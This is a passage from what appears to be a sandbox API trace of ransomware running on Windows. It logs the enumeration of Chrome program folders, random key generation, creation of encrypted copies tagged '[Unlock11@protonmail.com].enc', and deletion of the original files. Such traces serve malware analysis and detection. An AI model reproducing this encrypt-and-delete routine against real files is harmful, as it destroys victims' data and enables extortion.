lpFilePart=0x9bada4*="zh-TW.pak") returned 0x4f [0219.500] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0219.501] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.501] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8efb459a, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x21d58, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0219.501] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8f321bb0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x291558, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0219.502] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8f321bb0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x291558, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 0 [0219.502] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0219.502] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\libegl.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\swiftshader\\libegl.dll")) returned 0x20 [0219.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0219.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0219.503] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\libglesv2.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\swiftshader\\libglesv2.dll")) returned 0x20 [0219.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0219.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d10b0 | out: hHeap=0x2ad0000) returned 1 [0219.503] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\libegl.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\libegl.dll", lpFilePart=0x9bada4*="libegl.dll") returned 0x54 [0219.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0219.504] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\libglesv2.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\libglesv2.dll", lpFilePart=0x9bada4*="libglesv2.dll") returned 0x57 [0219.504] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0219.505] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.505] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dc4484, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x442a, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="logo.png", cAlternateFileName="")) returned 1 [0219.506] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dd2ee4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6092, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="logobeta.png", cAlternateFileName="")) returned 1 [0219.506] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ddf234, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5741, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="logocanary.png", cAlternateFileName="LOGOCA~1.PNG")) returned 1 [0219.506] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51df03a4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x60be, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="logodev.png", cAlternateFileName="")) returned 1 [0219.506] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dfc6f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="smalllogo.png", cAlternateFileName="SMALLL~1.PNG")) returned 1 [0219.506] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e06334, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x2419, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="smalllogobeta.png", cAlternateFileName="SMALLL~2.PNG")) returned 1 [0219.506] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e0b154, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="SMALLL~3.PNG")) returned 1 [0219.506] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e210e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x238f, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="smalllogodev.png", cAlternateFileName="SMALLL~4.PNG")) returned 1 [0219.507] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e210e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x238f, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="smalllogodev.png", cAlternateFileName="SMALLL~4.PNG")) returned 0 [0219.507] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0219.508] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png")) returned 0x20 [0219.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0219.509] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png")) returned 0x20 [0219.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0219.509] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png")) returned 0x20 [0219.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0219.510] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png")) returned 0x20 [0219.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0219.511] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png")) returned 0x20 [0219.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0219.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881150, Size=0x20) returned 0x37343e0 [0219.511] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png")) returned 0x20 [0219.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0219.511] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png")) returned 0x20 [0219.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0219.512] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png")) returned 0x20 [0219.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0219.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0219.513] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", lpFilePart=0x9bada4*="logo.png") returned 0x55 [0219.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0219.513] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dc4484, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x442a)) returned 1 [0219.513] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36712dc | out: pbBuffer=0x36712dc) returned 1 [0219.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0219.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0219.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0219.514] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.514] GetFileType (hFile=0x334) returned 0x1 [0219.514] GetFileType (hFile=0x334) returned 0x1 [0219.515] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.515] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.515] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.515] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.515] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.515] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.515] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.515] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.516] GetFileType (hFile=0x39c) returned 0x1 [0219.516] GetFileType (hFile=0x39c) returned 0x1 [0219.516] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.516] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.516] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.516] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.516] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.516] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.517] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.521] CloseHandle (hObject=0x39c) returned 1 [0219.522] CloseHandle (hObject=0x334) returned 1 [0219.522] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png")) returned 1 [0219.523] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", lpFilePart=0x9bada4*="logobeta.png") returned 0x59 [0219.523] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0219.523] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dd2ee4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6092)) returned 1 [0219.524] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d04 | out: pbBuffer=0x3671d04) returned 1 [0219.524] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.524] GetFileType (hFile=0x334) returned 0x1 [0219.524] GetFileType (hFile=0x334) returned 0x1 [0219.524] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.525] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.525] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.525] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.525] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.525] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.525] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.525] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.526] GetFileType (hFile=0x39c) returned 0x1 [0219.526] GetFileType (hFile=0x39c) returned 0x1 [0219.526] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.526] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.526] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.526] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.526] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.526] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.526] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.529] CloseHandle (hObject=0x39c) returned 1 [0219.529] CloseHandle (hObject=0x334) returned 1 [0219.530] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png")) returned 1 [0219.531] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", lpFilePart=0x9bada4*="logocanary.png") returned 0x5b [0219.531] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ddf234, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5741)) returned 1 [0219.531] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36719e4 | out: pbBuffer=0x36719e4) returned 1 [0219.531] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0219.531] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0219.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0219.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3734390 [0219.532] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.532] GetFileType (hFile=0x334) returned 0x1 [0219.532] GetFileType (hFile=0x334) returned 0x1 [0219.532] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.533] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.533] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.533] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, 